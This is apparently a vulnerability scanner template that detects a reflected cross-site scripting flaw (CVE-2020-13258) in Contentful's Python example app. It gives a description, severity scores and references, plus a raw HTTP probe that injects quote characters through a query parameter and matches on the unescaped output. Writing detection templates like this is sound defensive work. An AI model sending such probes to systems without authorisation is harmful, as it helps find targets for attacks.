id: CVE-2020-13258
info:
name: Contentful <=2020-05-21 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
reference:
- https://github.com/contentful/the-example-app.py/issues/44
- https://nvd.nist.gov/vuln/detail/CVE-2020-13258
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-13258
cwe-id: CWE-79
epss-score: 0.00464
epss-percentile: 0.7267
cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: contentful
product: python_example
tags: cve,cve2020,contentful,xss
http:
- raw:
- |
GET /?cda'"&locale=locale=de-DE HTTP/1.1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- "{'api': '"
- "',"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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